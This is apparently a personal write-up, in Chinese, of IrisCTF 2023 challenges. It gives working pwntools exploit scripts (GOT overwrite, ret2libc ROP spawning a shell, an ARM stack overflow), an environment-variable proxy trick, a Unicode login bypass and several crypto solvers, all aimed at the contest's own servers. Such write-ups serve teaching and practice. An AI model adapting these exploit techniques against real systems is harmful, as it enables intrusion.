IrisCTF 2023 WriteUps
在 RWCTF 解個幾題之後感覺沒有我會的類型之後就跑來 Solo 這場了,雖然開始的時候已經過了 1/4 的時間不過最後還是有用 nyahello 拿到第五名。
Binary Exploitation#
babyseek#
#include <stdlib.h>
#include <stdio.h>
void win() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
// This is just setup
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Your flag is located around %p.\n", win);
FILE* null = fopen("/dev/null", "w");
int pos = 0;
void* super_special = &win;
fwrite("void", 1, 4, null);
printf("I'm currently at %p.\n", null->_IO_write_ptr);
printf("I'll let you write the flag into nowhere!\n");
printf("Where should I seek into? ");
scanf("%d", &pos);
null->_IO_write_ptr += pos;
fwrite(&super_special, sizeof(void*), 1, null);
exit(0);
}checksec:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled因為是 No RELRO,所以直接蓋 exit@got 即可,而這個就只需要計算 _IO_write_ptr 和 exit@got 的 offset 就行了。
from pwn import *
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b'with:\n ')
cmd = io.recvlineS().strip()
print(cmd)
if input('Ok? ').lower().strip() != 'y':
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b'Solution? ', out)
elf = ELF("./chal")
# io = process("./chal")
io = remote("seek.chal.irisc.tf", 10004)
solve_pow(io)
io.recvuntil(b"around ")
win = int(io.recvuntilS(b".", drop=True), 16)
io.recvuntil(b"at ")
cur = int(io.recvuntilS(b".", drop=True), 16)
base = win - elf.sym["win"]
to_write = elf.got["exit"] + base
io.sendline(str(to_write - cur).encode())
io.interactive()
# irisctf{not_quite_fseek}ret2libm#
#include <math.h>
#include <stdio.h>
// gcc -fno-stack-protector -lm
int main(int argc, char* argv) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char yours[8];
printf("Check out my pecs: %p\n", fabs);
printf("How about yours? ");
gets(yours);
printf("Let's see how they stack up.");
return 0;
}checksec:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled它給你了 libm 的 address,所以我一開始想手動 ROP 呼叫 execve("/bin/sh", 0, 0),但是我在 libm 裡面找不到 /bin/sh,它也沒有 syscall; ret 的 gadget 可用,所以放棄了這條路。後來觀察一下會發現 libc 和 libm 間的 offset 是固定的,因此可以求出 libc 在哪,所以就變成了很標準的 ret2libc。
from pwn import *
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b"with:\n ")
cmd = io.recvlineS().strip()
print(cmd)
if input("Ok? ").lower().strip() != "y":
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b"Solution? ", out)
# context.log_level = 'debug'
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]
libm = ELF("./libm-2.27.so")
libc = ELF("./libc-2.27.so")
# io = process("./chal.patched")
# io = gdb.debug('./chal.patched', 'b *(main+159)\nc')
io = remote("ret2libm.chal.irisc.tf", 10001)
solve_pow(io)
io.recvuntil(b"pecs: ")
libm_base = int(io.recvlineS().strip(), 16) - libm.sym["fabs"]
print(f"{libm_base = :#x}")
libm.address = libm_base
libc.address = libm_base - 0x3F1000
sh = next(libc.search(b"/bin/sh\x00"))
r = ROP(libc)
r.call("execve", [sh, 0, 0])
io.sendline(b"x" * 16 + r.chain())
io.interactive()
# irisctf{oh_its_ret2libc_anyway}baby?socat#
run.sh:
#!/bin/bash
echo -n "Give me your command: "
read -e -r input
input="exec:./chal ls $input"
FLAG="fakeflg{REDACTED}" socat - "$input" 2>&0chal.c:
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
if(argc < 2) return -1;
if(setenv("FLAG", "NO!", 1) != 0) return -1;
execvp(argv[1], argv+1);
return 0;
}這題預期解是利用 socat 的 address parser 在處理 quotes 的時候有 bug,不過我用 unintended 解了這題。方法就是 RTFM: man socat 而已,在 ADDRESS SPECIFICATIONS 的地方有寫說它支援 !! 作為 dual address specifications,前者作為 read 的來源,而後者是 write 的對象。所以你只要輸入 /!!exec:env 就能解了。
irisctf{they_even_fixed_it_for_unbalanced_double_quotes}
Michael Bank#
using System.Globalization;
using System.Linq;
using System.Net.Http.Headers;
namespace MichaelBank
{
class Program
{
static Dictionary<string, float> curConv = new();
static HashSet<string> users = new();
static Dictionary<string, string> userPasswords = new(StringComparer.InvariantCultureIgnoreCase);
static Dictionary<string, float> userBalances = new(StringComparer.InvariantCultureIgnoreCase);
static string loggedInUser = "anon";
static void SetupUsers()
{
users.Add("michael");
userPasswords["michael"] = File.ReadAllText("michael_password.txt");
userBalances["michael"] = 999966.85f;
users.Add("bob");
userPasswords["bob"] = "bob";
userBalances["bob"] = 25.35f;
}
static void SetupCurrencyConversion()
{
CultureInfo.CurrentCulture = new CultureInfo("en-US");
var ccLines = File.ReadAllLines("currency_conversion.txt");
for (var i = 1; i < ccLines.Length; i++)
{
var line = ccLines[i];
var firstSpace = line.IndexOf(' ');
var firstParens = line.LastIndexOf('(');
var lastParens = line.LastIndexOf(')');
var value = float.Parse(line.Substring(0, firstSpace));
var curName = line.Substring(firstParens + 1, lastParens - firstParens - 1);
curConv[curName] = value;
}
}
static string GetCurrencySymbol()
{
var curCulture = CultureInfo.CurrentCulture;
var regionName = curCulture.Name.Substring(curCulture.Name.IndexOf('_') + 1);
var ri = new RegionInfo(regionName);
return ri.ISOCurrencySymbol;
}
static void CreateAccount()
{
Console.Write("Type username: ");
var username = Console.ReadLine()!;
Console.Write("Type password: ");
var password = Console.ReadLine()!;
foreach (var user in users)
{
if (user.ToLower() == username.ToLower())
{
Console.WriteLine("User already exists in database!");
return;
}
}
if (users.Count > 10000)
{
Console.WriteLine("Database has too many users! Check back later.");
return;
}
users.Add(username.ToLower());
userPasswords[username] = password;
}
static void LogIn()
{
Console.Write("Type username: ");
var username = Console.ReadLine()!;
Console.Write("Type password: ");
var password = Console.ReadLine()!;
var success = false;
foreach (var user in users)
{
if (user == username.ToLower())
{
if (userPasswords[user] == password)
{
Console.WriteLine("Success");
success = true;
loggedInUser = user;
}
}
}
if (!success)
{
Console.WriteLine("No login matched.");
}
}
static string GetMoneyInConvertedCurrency(float usd)
{
var curSymbol = GetCurrencySymbol();
var convertedStr = $"{usd * curConv[curSymbol]} {curSymbol}";
return convertedStr;
}
static void CheckBalance()
{
if (loggedInUser == "anon")
{
Console.WriteLine("Not logged in.");
return;
}
if (!userBalances.ContainsKey(loggedInUser))
{
userBalances[loggedInUser] = 5.0f;
}
else if (userBalances[loggedInUser] > 1000000)
{
Console.WriteLine("Wow, you have a million dollars! Here's the flag!");
Console.WriteLine(File.ReadAllText("flag.txt"));
return;
}
var balance = userBalances[loggedInUser];
var convertedStr = GetMoneyInConvertedCurrency(balance);
Console.WriteLine("Current balance: " + convertedStr);
}
static void CheckMoneyLeaderboard()
{
var balances = userBalances.AsEnumerable().OrderBy(p => -p.Value);
foreach (var balancePair in balances)
{
var convertedStr = GetMoneyInConvertedCurrency(balancePair.Value);
Console.WriteLine($"{balancePair.Key}: {convertedStr}");
}
}
static void ChangeCurrency()
{
while (true)
{
Console.Write("Type language code to use its currency: ");
var localeStr = Console.ReadLine()!;
try
{
var cultureInf = new CultureInfo(localeStr);
CultureInfo.CurrentCulture = cultureInf;
var curSymbol = GetCurrencySymbol();
if (!curConv.ContainsKey(curSymbol))
{
Console.WriteLine("Currency not in database.");
continue;
}
Console.WriteLine("New currency: " + curSymbol);
return;
}
catch
{
Console.WriteLine("Not a valid code.");
}
}
}
static void SendMoney()
{
if (loggedInUser == "anon")
{
Console.WriteLine("Not logged in.");
return;
}
if (!userBalances.ContainsKey(loggedInUser))
{
userBalances[loggedInUser] = 5.0f;
}
Console.WriteLine("Amount in USD: ");
var amountStr = Console.ReadLine()!;
if (!float.TryParse(amountStr, out float amount))
{
Console.WriteLine("Invalid amount.");
return;
}
else if (amount < 0.0f)
{
Console.WriteLine("You cannot send negative money.");
return;
}
else if (amount > userBalances[loggedInUser])
{
Console.WriteLine("You don't have enough money for that.");
return;
}
Console.WriteLine("Who to send to: ");
var sendToUser = Console.ReadLine()!;
foreach (var user in users)
{
if (user == sendToUser.ToLower())
{
userBalances[loggedInUser] -= amount;
userBalances[user] += amount;
Console.WriteLine("Done.");
return;
}
}
Console.WriteLine("User not in database.");
}
static void Main(string[] args)
{
SetupUsers();
SetupCurrencyConversion();
Console.WriteLine("Welcome to Michael Bank! What would you like to do?");
while (true)
{
Console.WriteLine("1. Create an account");
Console.WriteLine("2. Log in");
Console.WriteLine("3. Check balance");
Console.WriteLine("4. Check leaderboard");
Console.WriteLine("5. Change currency");
Console.WriteLine("6. Send money");
Console.WriteLine("7. Exit");
var choice = Console.ReadLine();
Console.WriteLine();
try
{
switch (choice)
{
case "1": CreateAccount(); break;
case "2": LogIn(); break;
case "3": CheckBalance(); break;
case "4": CheckMoneyLeaderboard(); break;
case "5": ChangeCurrency(); break;
case "6": SendMoney(); break;
case "7": return;
default: Console.WriteLine("Not a valid choice."); break;
}
} catch { }
Console.WriteLine();
Console.WriteLine("What would you like to do?");
}
}
}
}題目關鍵在於它轉換 currency 時會動 CurrentCulture,而 login 時又有 ToLower,這就讓我想到 Hacking GitHub with Unicode's dotless 'i' 這篇文章。測試一下會發現在 tr (土耳其)語系下 I 會被轉換成 ı,而在 en-US 則會變成 i,所以只要在 tr 語系下 register 然後再切回 en-US login 就能登入 michael 帳號。
剩下就只要把錢充到目標金額即可拿到 flag。
from pwn import *
import string
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b"with:\n ")
cmd = io.recvlineS().strip()
print(cmd)
if input("Ok? ").lower().strip() != "y":
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b"Solution? ", out)
# context.log_level = 'debug'
# io = process(['dotnet', 'run'])
io = remote("michaelbank.chal.irisc.tf", 10003)
solve_pow(io)
mi = "mIchael"
def create(u, p):
io.sendline(b"1")
io.sendlineafter(b"username: ", u.encode())
io.sendlineafter(b"password: ", p.encode())
def login(u, p):
io.sendline(b"2")
io.sendlineafter(b"username: ", u.encode())
io.sendlineafter(b"password: ", p.encode())
def send(money, t):
io.sendline(b"6")
io.sendlineafter(b"USD: ", str(money).encode())
io.sendlineafter(b"to: ", t.encode())
def change(c):
io.sendline(b"5")
io.sendlineafter(b"currency: ", c.encode())
for x in string.ascii_lowercase[:10]:
create(x, x)
login(x, x)
send(5, mi)
change("tr")
create(mi, mi)
change("en-US")
login(mi, mi)
io.sendline(b"3")
io.interactive()
# https://archive.is/Qamyv
# irisctf{I_never_wanna_deal_with_i's_again}Infinite Descent#
這題是個 arm fireware 的題目
#include <stdlib.h>
char volatile* end_of_the_tunnel = "fakeflg{REDACTED_REDACTED_REDA}";
char readbuf[5] = {0};
char* last_message = "(You didn't write anything)";
#define UART0DR (char*)0x4000c000
// https://github.com/qemu/qemu/blob/master/tests/tcg/arm/semicall.h
unsigned int __semi_call(unsigned int type, unsigned int arg0)
{
register unsigned int t asm("r0") = type;
register unsigned int a0 asm("r1") = arg0;
# define SVC "bkpt 0xab"
asm(SVC : "=r" (t)
: "r" (t), "r" (a0));
return t;
}
void WRITE(const char* data) {
__semi_call(0x04, (unsigned int)data);
}
void READ(char* dest, size_t n) {
for(size_t i = 0; i < n; i++) {
*(dest + i) = __semi_call(0x07, 0x00) & 0xff;
}
}
void descend() {
WRITE("How many characters do you write in the ground (up to 4096)? Send exactly 4 digits and the newline.\n");
READ(readbuf, 4 + 1);
readbuf[4] = 0;
long int n = strtol(readbuf, NULL, 10);
if(n <= 0 || n > 4096) { return; }
{
WRITE("Send n characters and the newline.\n");
char input[n+1];
last_message = input;
READ(input, (size_t)n+1);
descend();
}
}
int main() {
WRITE("Welcome to my tunnel.\n");
descend();
WRITE("You run out of energy and pass away.\n");
WRITE("Your final message is: ");
WRITE(last_message);
WRITE("\nGoodbye.\n");
return 0;
}
void _start() {
main();
while(1) {}
}#!/bin/sh
qemu-system-arm -machine lm3s6965evb -cpu cortex-m3 -m 4096 --chardev stdio,id=stdio -semihosting --semihosting-config enable=on,target=native,chardev=stdio -device loader,file=chal.elf -machine accel=tcg -d int,cpu_reset -display none -S -gdb tcp::8889 2>/dev/null
# to debug, add -s -S and connect with gdb-multiarch可見它用了 arm semihosting 功能來做輸入輸出,那個可以想成是一個 syscall (X) 做 I/O 而已,不過那和這題無關。
總之可知這題可以用 descend 函數去不斷的做 recursion,到最後理論上應該是會 stack overflow 才對。不過這題的關鍵在於它是個 firmware,所以它的 memory layout 可能和我們預期中的不太一樣。
我是先 setup debug 環境,先裝 gdb-multiarch 並在 qemu 的指令加上 -S -gdb tcp::8899 就能讓它開在 8899。 (-s 代表的是 -gdb tcp::1234)
然後另一個視窗就用 gdb-multiarch chal.elf 打開後用 target remote:8889 就能連線了,不過我因為用的是 gef 所以用 gef-remote --qemu-binary chal.elf localhost 8889 才有比較好的整合。
如果要讓
context指令能動的話要用 root 跑,所以要加上sudo -E(Ref)
然後因為有 symbol 所以要找 address 都很容易,測試一下可知 text 段和 literal string 大概都很接近 0。而 data 和 stack 分別在 20000000 和 2000c000,且中間沒有保護!!! (用 readelf -A chal.elf 也行)
既然如此只要讓 stack overflow 一直往上,直到 input 包含 &last_message 的話就能把它的內容改掉成 flag 的位置,等它回到 main 時就能 print flag 了。
from pwn import *
import os
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b"with:\n ")
cmd = io.recvlineS().strip()
print(cmd)
if input("Ok? ").lower().strip() != "y":
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b"Solution? ", out)
context.log_level = "debug"
# io = process("docker run --name iii -v $PWD:/home/user --rm -i -p 8889:8889 iii", shell=True)
io = remote("infinitedescent.chal.irisc.tf", 10002)
solve_pow(io)
stk = 0x2000FFB8 + 56
last_msg = 0x20000070
target = 0x2740
try:
while stk >= last_msg:
alloc_size = min(4096, stk - last_msg - 56)
io.sendafter(b"newline.\n", (str(alloc_size).rjust(4, "0") + "\n").encode())
io.sendafter(b"newline.\n", p32(target) * (alloc_size // 4) + b"\n")
stk -= alloc_size
stk -= 56
print("alloc", alloc_size)
print(hex(stk))
io.sendline(b"0000\n")
io.interactive()
finally:
os.system("docker kill iii")
# irisctf{no_protection_for_stak}實際上會需要用 gdb 做些 debug 去算一些位置,所以我還有寫個 gdb python script 去輔助:
gdb.execute('gef config context.enable 0')
gdb.execute('gef-remote --qemu-binary chal.elf localhost 8889')
gdb.execute('b *(descend+142)')
gdb.execute('c')
for _ in range(16):
gdb.execute('p/x $r0')
gdb.execute('c')
# gdb-multiarch chal.elf -x sss.py另外是這題題目其實有說也能自己 build,就先到 ARM-software/CMSIS_5 的 release 下載它的檔案,然後當作 zip 解壓縮到 CMSIS_5 的資料夾。之後要安裝 arm-none-eabi-gcc 和 arm-none-eabi-newlib 兩個套件 (Arch Linux) 之後就能 make 編譯了。
Cryptography#
babynotrsa#
modular inverse 就搞定了
babymixup#
from Crypto.Cipher import AES
import os
key = os.urandom(16)
flag = b"flag{REDACTED}"
assert len(flag) % 16 == 0
iv = os.urandom(16)
cipher = AES.new(iv, AES.MODE_CBC, key)
print("IV1 =", iv.hex())
print("CT1 =", cipher.encrypt(b"Hello, this is a public message. This message contains no flags.").hex())
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv )
print("IV2 =", iv.hex())
print("CT2 =", cipher.encrypt(flag).hex())用第一組回推 key,然後解密 flag。
from Crypto.Cipher import AES
import os
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
iv1 = bytes.fromhex("4ee04f8303c0146d82e0bbe376f44e10")
ct1 = bytes.fromhex(
"de49b7bb8e3c5e9ed51905b6de326b39b102c7a6f0e09e92fe398c75d032b41189b11f873c6cd8cdb65a276f2e48761f6372df0a109fd29842a999f4cc4be164"
)
iv2 = bytes.fromhex("1fe31329e7c15feadbf0e43a0ee2f163")
ct2 = bytes.fromhex(
"f6816a603cefb0a0fd8a23a804b921bf489116fcc11d650c6ffb3fc0aae9393409c8f4f24c3d4b72ccea787e84de7dd0"
)
pt = b"Hello, this is a public message. This message contains no flags."
key = xor(AES.new(iv1, AES.MODE_ECB).decrypt(ct1[:16]), pt)
cipher = AES.new(key, AES.MODE_CBC, iv2)
print(cipher.decrypt(ct2))
# irisctf{the_iv_aint_secret_either_way_using_cbc}Nonces and Keys#
這題用 AES-128-OFB 和 key 0x13371337133713371337133713371337 加密了一個 sqlite3 的檔案,因為 header 以知所以可以回推 iv,之後解密之後還原 db 檔案,在裡面 select 一下即可。
from Crypto.Cipher import AES
with open("challenge_enc.sqlite3", "rb") as f:
ct = f.read()
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
hdr = b"SQLite format 3\x00"
key = bytes.fromhex("13371337133713371337133713371337")
ecb = AES.new(key, AES.MODE_ECB)
iv = ecb.decrypt(xor(hdr, ct))
with open("challenge.sqlite3", "wb") as f:
f.write(AES.new(key, AES.MODE_OFB, iv).decrypt(ct))
# irisctf{g0tt4_l0v3_s7re4mciph3rs}SMarT 1#
一個 home-rolled cipher,是一個只有 2 rounds 的 SPN (大概吧),而 sbox 是用 AES 的。
以第一題來說它指實作了 encrypt,而題目有給你 key,所以實作 decrypt 出來即可。我這邊是直接讓 copilot 輔助寫出來的 XD。
from pwn import xor
# I don't know how to make a good substitution box so I'll refer to AES. This way I'm not actually rolling my own crypto
# fmt: off
SBOX = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
TRANSPOSE = [[3, 1, 4, 5, 6, 7, 0, 2],
[1, 5, 7, 3, 0, 6, 2, 4],
[2, 7, 5, 4, 0, 6, 1, 3],
[2, 0, 1, 6, 4, 3, 5, 7],
[6, 5, 0, 3, 2, 4, 1, 7],
[2, 0, 6, 1, 5, 7, 4, 3],
[1, 6, 2, 5, 0, 7, 4, 3],
[4, 5, 6, 1, 2, 3, 7, 0]]
RR = [4, 2, 0, 6, 9, 3, 5, 7]
# fmt: on
def rr(c, n):
n = n % 8
return ((c << (8 - n)) | (c >> n)) & 0xFF
def rl(c, n):
n = n % 8
return ((c << n) | (c >> (8 - n))) & 0xFF
import secrets
ROUNDS = 2
MASK = secrets.token_bytes(8)
KEYLEN = 4 + ROUNDS * 4
def encrypt(block, key):
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)
for r in range(ROUNDS):
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
for i in range(8):
block[i] = SBOX[block[i]]
block[i] = rr(block[i], RR[i])
temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i
block = temp
block = xor(block, MASK)
return block
def decrypt(block, key):
# this is actually written by copilot :)
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)
for r in reversed(range(ROUNDS)):
block = xor(block, MASK)
temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[i] |= ((block[j] >> i) & 1) << TRANSPOSE[i][j]
block = temp
for i in reversed(range(8)):
block[i] = rl(block[i], RR[i])
block[i] = SBOX.index(block[i])
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
return block
def ecb(pt, key):
if len(pt) % 8 != 0:
pt = pt.ljust(len(pt) + (8 - len(pt) % 8), b"\x00")
out = b""
for i in range(0, len(pt), 8):
out += encrypt(pt[i : i + 8], key)
return out
def ecb_decrypt(ct, key):
if len(ct) % 8 != 0:
ct = ct.ljust(len(ct) + (8 - len(ct) % 8), b"\x00")
out = b""
for i in range(0, len(ct), 8):
out += decrypt(ct[i : i + 8], key)
return out
MASK = bytes.fromhex("3d5e286c30e3af35")
key = bytes.fromhex("bc62c0b71ac3ebb55c01ca09")
fct = bytes.fromhex("efb6d7f1a2ddefdd04567cedb6d2a6c5fa8b96ad26f92fb1b0b55ad6a13838c6")
print(ecb_decrypt(fct, key))SMarT 2#
延續上題,這次沒有 key 所以要從已知的 plaintext/ciphertext pair 回推 key。
從題目名稱可看出大寫的三個字母是 SMT,所以我就直接在 z3 重寫了一次 encrypt 函數,然後也真的就這樣解了。
from z3 import *
from pwn import xor
# I don't know how to make a good substitution box so I'll refer to AES. This way I'm not actually rolling my own crypto
# fmt: off
SBOX = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
TRANSPOSE = [[3, 1, 4, 5, 6, 7, 0, 2],
[1, 5, 7, 3, 0, 6, 2, 4],
[2, 7, 5, 4, 0, 6, 1, 3],
[2, 0, 1, 6, 4, 3, 5, 7],
[6, 5, 0, 3, 2, 4, 1, 7],
[2, 0, 6, 1, 5, 7, 4, 3],
[1, 6, 2, 5, 0, 7, 4, 3],
[4, 5, 6, 1, 2, 3, 7, 0]]
RR = [4, 2, 0, 6, 9, 3, 5, 7]
# fmt: on
def rr(c, n):
n = n % 8
return ((c << (8 - n)) | (c >> n)) & 0xFF
def rr_z3(c, n):
n = n % 8
return ((c << (8 - n)) | LShR(c, n)) & 0xFF
def rl(c, n):
n = n % 8
return ((c << n) | (c >> (8 - n))) & 0xFF
import secrets
ROUNDS = 2
MASK = secrets.token_bytes(8)
KEYLEN = 4 + ROUNDS * 4
def encrypt(block, key):
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)
for r in range(ROUNDS):
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
for i in range(8):
block[i] = SBOX[block[i]]
block[i] = rr(block[i], RR[i])
temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i
block = temp
block = xor(block, MASK)
return block
sol = Solver()
z3_sbox = Function("sbox", BitVecSort(8), BitVecSort(8))
for i in range(256):
sol.add(z3_sbox(i) == SBOX[i])
def encrypt_z3(block, key):
assert len(block) == 8
assert len(key) == KEYLEN
for r in range(ROUNDS):
block = [block[i] ^ key[r * 4 + i] for i in range(8)]
for i in range(8):
block[i] = z3_sbox(block[i])
block[i] = rr_z3(block[i], RR[i])
temp = [BitVecVal(0, 8) for _ in range(8)]
for i in range(8):
for j in range(8):
temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i
block = temp
block = [block[i] ^ MASK[i] for i in range(8)]
return block
def decrypt(block, key):
# this is actually written by copilot :)
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)
for r in reversed(range(ROUNDS)):
block = xor(block, MASK)
temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[i] |= ((block[j] >> i) & 1) << TRANSPOSE[i][j]
block = temp
for i in reversed(range(8)):
block[i] = rl(block[i], RR[i])
block[i] = SBOX.index(block[i])
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
return block
def ecb(pt, key):
if len(pt) % 8 != 0:
pt = pt.ljust(len(pt) + (8 - len(pt) % 8), b"\x00")
out = b""
for i in range(0, len(pt), 8):
out += encrypt(pt[i : i + 8], key)
return out
def ecb_decrypt(ct, key):
if len(ct) % 8 != 0:
ct = ct.ljust(len(ct) + (8 - len(ct) % 8), b"\x00")
out = b""
for i in range(0, len(ct), 8):
out += decrypt(ct[i : i + 8], key)
return out
MASK = bytes.fromhex("1f983a40c3f801b1")
test_pairs = [
["4b0c569de9bf6510", "3298255d5314ad33"],
["5d81105912c7f421", "805146efee62f09f"],
["6e23f94180be2378", "207a88ced8ab64d1"],
["9751eeee344a8c74", "0b561354ebbb50fa"],
["f4fbf94509aaea25", "4ba4dc46bbde5c63"],
["3e571e4e9604769e", "10820c181de8c1df"],
["1f7b64083d9121e8", "0523ce32dd7a9f02"],
["69b3dfd8765d4267", "23c8d59a34553207"],
]
test_pairs = [[bytes.fromhex(a), bytes.fromhex(b)] for a, b in test_pairs]
fct = bytes.fromhex(
"ceb51064c084e640690c31bf55c1df4950bc81b484f559dce0ae7d509aa0fe07f7ee127e9ecb05eb4b1b58b99494f72c0b4f3f5fe351c1cb"
)
key_sym = [BitVec(f"key{i}", 8) for i in range(KEYLEN)]
for pt, ct in test_pairs:
ct_sym = encrypt_z3(list(pt), key_sym)
for a, b in zip(ct_sym, ct):
sol.add(a == b)
assert sol.check() == sat
m = sol.model()
key = bytes([m.eval(x).as_long() for x in key_sym])
print(key)
flag = ecb_decrypt(fct, key)
print(flag)
# irisctf{if_you_didnt_use_a_smt_solver_thats_cool_too}不過這題因為只有 2 rounds,就他人所說是可以把它 reduce 成 S(pt^key1)^key2 = ct,然後 byte by byte bruteforce 即可。
Miscellaneous#
Name that song#
這題給了一首歌的檔案,要找到原曲名。因為它並不是正常常見的歌,shazam 之類的毫無作用。
我是先在 vlc 發現說它有給樂器資訊,同時用 strings 在裡面找到了一些 SNR56.WAV 之類的文字。Google 它可以找到 The Mod Archive 這個網站,上面有很多和它同類型的音樂。
不過我在 Google SNR56.WAV 的第一個結果找到的不是對的,所以換了 Yandex 用同樣的關鍵字查找到 moon gun,聽了一下就剛好是這首歌。
irisctf{moon_gun}
Host Issues#
chal_serv.py:
from flask import Flask, request
import string
from base64 import urlsafe_b64decode as b64decode
app = Flask(__name__)
BAD_ENV = ["LD", "LC", "PATH", "ORIGIN"]
@app.route("/env")
def env():
data = b64decode(request.args['q']).decode()
print(data)
if any(c in data.upper() for c in BAD_ENV) \
or any(c not in string.printable for c in data):
return {"ok": 0}
return {"ok": 1}
@app.route("/flag")
def flag():
with open("flag", "r") as f:
flag = f.read()
return {"flag": flag}
app.run(port=25566)chal.py:
import os
import subprocess
import json
from base64 import urlsafe_b64encode as b64encode
BANNER = """
Welcome to my insecure temporary data service!
1) Write data
2) Read data
"""
REMOTE = "http://0:25566/"
def check(url):
return json.loads(subprocess.check_output(["curl", "-s", url]))
print(BANNER)
while True:
choice = input("> ")
try:
print(check("http://flag_domain:25566/flag"))
except subprocess.CalledProcessError: pass
try:
if choice == '1':
env = input("Name? ")
if check(REMOTE + "env?q=" + b64encode(env.encode()).decode())["ok"]:
os.environ[env] = input("Value? ")
else:
print("No!")
elif choice == '2':
env = input("Name? ")
if check(REMOTE + "env?q=" + b64encode(env.encode()).decode())["ok"]:
if env in os.environ:
print(os.environ[env])
else:
print("(Does not exist)")
else:
print("No!")
else:
print("Bye!")
exit()
except Exception as e:
print(e)
exit()chal.sh:
#!/bin/bash
(&>/dev/null python3 /home/user/chal_serv.py)&
python3 /home/user/chal.py 2>&1所以這題目標很明顯,就是要透過控制環境變數讓 http://flag_domain:25566/flag 去 fetch flag。我一樣就先 man curl 在裡面找到 http_proxy 的環境變數,然後只要把它設成 http://127.0.0.1:25566/,那麼 curl 就會發送這樣的請求到 proxy server:
GET http://flag_domain:25566/flag HTTP/1.1
Host: flag_domain:25566
User-Agent: curl/7.87.0
Accept: */*
Proxy-Connection: Keep-Alive而這個 flask 那邊也能接受,所以就能得到 flag 了。
